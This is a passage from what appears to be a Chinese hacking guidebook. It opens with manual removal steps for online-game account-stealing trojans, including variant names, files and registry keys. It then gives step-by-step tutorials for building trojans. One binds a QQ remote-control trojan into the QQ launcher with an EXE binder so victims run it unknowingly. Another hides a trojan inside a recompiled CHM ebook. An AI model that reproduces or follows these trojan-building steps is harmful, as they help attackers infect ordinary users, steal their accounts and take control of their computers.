04 　至此，木马文件就和原文件分离了。接下来要通过检查两个文件的图标及大小来判断哪个文件是所需的正常程序，找出需要的原文件之后，将被木马绑定的原文件和木马文件彻底删除。

小提示

一般情况下，原程序文件与捆绑后的图标一致，且程序大小比木马程序大。

例9　清除网游盗号木马

从2007年开始，网游盗号木马开始泛滥，并且和其他木马“联合作战”，不仅盗取用户的游戏账号，更直接威胁到个人财产的安全。2008年，魔兽世界全国总冠军账号被盗一案，将盗号木马的威胁推向高峰。现在，网游盗号木马已经成为对网民危害最严重的木马之一，占据了木马总数的76％，超过38％的网民曾有过被盗号的经历。网游帐号的安全问题已经变成了网游行业发展的重负。

为让广大用户避免受到网游盗号木马的困扰，下面主要为大家介绍有关网游盗号木马的知识及其清除方法。

1．认识网游盗号木马

网游盗号木马主要是通过恶意网页或其他木马下载进行传播。它具有许多变种，其中主要的木马名称如下。

trojan-downloader.win32.small.ewc［exe］

Trojan-PSW.Win32.OnLineGames.uo［dll］

trojan.psw.win32.onlineGames.dli［exe］

downloader-BDG

trojan.dl.win32..delf.yts［dll］

win32.troj.XiyouT.vn.87552［exe］

win32.troj.DownloaderT.ew.14897［dll］

网游盗号木马入侵电脑后，会修改注册表，实现其开机自动运行的目的。此外，一旦网游盗号木马被激活，它还会利用释放病毒文件“jhapri.dll”到系统目录“％system％\jhapri.dll”中、使用批处理删除源文件、修改注册表，禁止自动更新以及关闭Windows防火墙等手段来保护自身的正常运行。

2．清除网游盗号木马

网游盗号木马有许多变种，有些变种连杀毒软件也无法查杀，这时如果不想格式化磁盘，就只有手动清除它了。清除网游盗号木马的方法主要分为以下几个步骤。

01 　重命名木马文件。在电脑中找到木马文件“％system％\jhapri.dll”，将其重命名，然后重新启动电脑。

02 　删除木马及相关文件。打开“计算机”窗口，找到并删除重命名过的木马文件“％syste m％\jhapri.dll”以及与其相关的文件“％system％\jhatmp.dll”、“％system％\jhaini.dll”。

03 　删除“SellExecuteHook”启动项。在注册表编辑器窗口中展开“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\ShellExecuteHook”子键，在右侧窗格中删除“252D2432-37A2-324F-2A54-21BF5CF2F1A2”键值项。

04 　修改AppInil_DLLs键值项的值。在“注册表编辑器”窗口中依次展开“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Windows”子键，在右侧将“AppInil_DLLs”键值项的值清空，单击“确定”按钮，重启电脑即可。

8.3　木马的制作

制作木马是实现木马攻击最主要的操作，这直接关系到能否成功获取远程主机信息或直接控制远程主机。本节将介绍软件捆绑木马、chm电子书木马、自解压木马和网页木马等几款常见木马的制作。

例1　制作软件捆绑木马

捆绑木马的软件很多，例如EXE捆绑机、bindexe、文件捆绑机等，这里主要介绍使用EXE捆绑机软件（适用于Windows XP/2003）进行木马捆绑的方法，具体操作如下。

01 　下载并解压EXE捆绑机软件包，启动其主程序，在弹出的“EXE捆绑机”对话框中单击“下一步”按钮。

02 　在打开的“指定第一个可执行文件”界面单击“点击这里指定第一个可执行文件”按钮。

03 　在打开的对话框中选中要捆绑木马的文件，这里选中QQ启动程序，然后单击“打开”按钮。

04 　在返回的对话框中可看到设置的文件路径，确认后单击“下一步”按钮。

05 　在接着打开的界面中单击“点击这里指定第二个可执行文件”按钮。

06 　在打开的对话框中找到并选中要捆绑的木马程序，本例为暗组QQ木马，然后单击“打开”按钮。

07 　在返回的对话框中可看到添加的木马程序，确认后单击“下一步”按钮。

08 　在打开的对话框中提示指定保存路径，这里单击“点击这里指定保存路径”按钮。

09 　在打开的对话框中设置文件的保存信息，然后单击“保存”按钮。

10 　在返回的对话框中确认文件的保存路径，然后单击“下一步”按钮。

11 　在接着打开的界面中选择软件的捆绑木马的版本，这里选择普通版，然后单击“下一步”按钮。

12 　在接着打开的界面中单击“点击这里开始捆绑文件”按钮，开始将木马捆绑到指定文件上。

13 　软件会自动进行木马的捆绑，需耐心等待，捆绑结束后会弹出提示框提示捆绑文件成功，这里单击“确定”按钮。

14 　捆绑完成后会在指定文件位置生成一个和原文件非常相似的图标，如果是在远程主机上操作，可将生成的图标显示在系统桌面上，以便目标机主直接运行。

例2　制作chm电子书木马

Chm电子书木马隐藏在电子书中，这种木马隐蔽性非常好，进而实用性也很高。在制作电子书木马前需要下载Quick CHM软件（适用与Windows XP、Windows 2003操作系统）、chm电子书以及一个木马文件，当准备好这些工具后即可进行电子书木马的制作了，具体操作步骤如下。

01 　打开电子书，右侧窗格中单击鼠标右键，在弹出的菜单中单击“属性”命令。

02 　在打开的对话框中可以发现其默认的页面的“健康文集.chm::/癌细胞~1.htm”（这表示“健康文集”目录中的“癌细胞.htm”文件.），记录这一信息，然后单击“确定”按钮。

03 　接着用户需要编写一个网页代码，可以打开记事本，在其中输入下图中的内容。

小提示

上述代码中用户需要根据电子书的存放路径和木马的名称不同进行对应的更改，不用完全按照上述代码编写。

04 　在记事本文档中单击工具栏中的“文件”按钮，在然后在弹出的菜单中单击“保存”命令。

05 　在打开的对话框中设置文件的保存信息，需要注意的是这里应该把文件类型设置为“所有类型”，将文件名称设置为“XX（自定义设置）.html”，然后单击“保存”按钮，将文件保存为网页。双击打开该网页文件会看到其中的内容为空。

06 　网页文件编写成功后启动“Quick CHM”软件，在打开的操作窗口中依次单击“文件”→“反编译”菜单命令。

07 　在接着打开的“反编译”对话框中单击“输入”文本框右侧的“打开”按钮。

08 　在打开的“打开”对话框中选中要进行反编译的chm电子书，然后单击“打开”按钮。

09 　在返回的对话框中单击“输出”文本框右侧的“保存”按钮。

10 　在打开的“浏览文件”对话框中设置文件的保存位置，然后单击“确定”按钮，并在返回的“反编译”对话框中再次单击“确定”按钮。

11 　软件会对指定文件进行反编译，并在反编译结束后打开指定文件夹，显示所有反编译后的文件。

12 　在反编译后的文件中选中扩展名为“.hhp”的文件，单击鼠标右键，在弹出的菜单中依次单击“打开方式”→“记事本”命令。

13 　打开记事本文档，这里需要做的是在“main”栏内添加前面制作的网页文件“编码.html”，在FILES栏内添加网页文件和木马文件（编码.html和“暗组QQ木马.exe”）。

14 　添加文成后单击工具栏的“文件”按钮，在弹出的下拉菜单中单击“保存”命令。

15 　将前面编写的网页（编码.html）和木马文件（暗组QQ木马.exe），复制到反编译后的文件夹中。

16 　启动Quick CHM软件，在弹出的操作窗口中依次单击“文件”→“打开”菜单命令。

17 　在打开的对话框中找到并选中刚才修改的hhp文件，然后单击“打开”按钮。该chm文件的所有内容都会导入到Quick CHM软件中。

18 　单击工具栏中的“文件”按钮，然后在打开的菜单中单击“编译”命令。

19 　程序开始对chm文件进行编译，完成后会弹出对话框提示编译完成，并询问是否运行，这里单击“否”按钮。

20 　上述操作结束后即可在原反编译文件的储存路径下生成一个新的chm文件，这就是我们制作的chm电子书木马。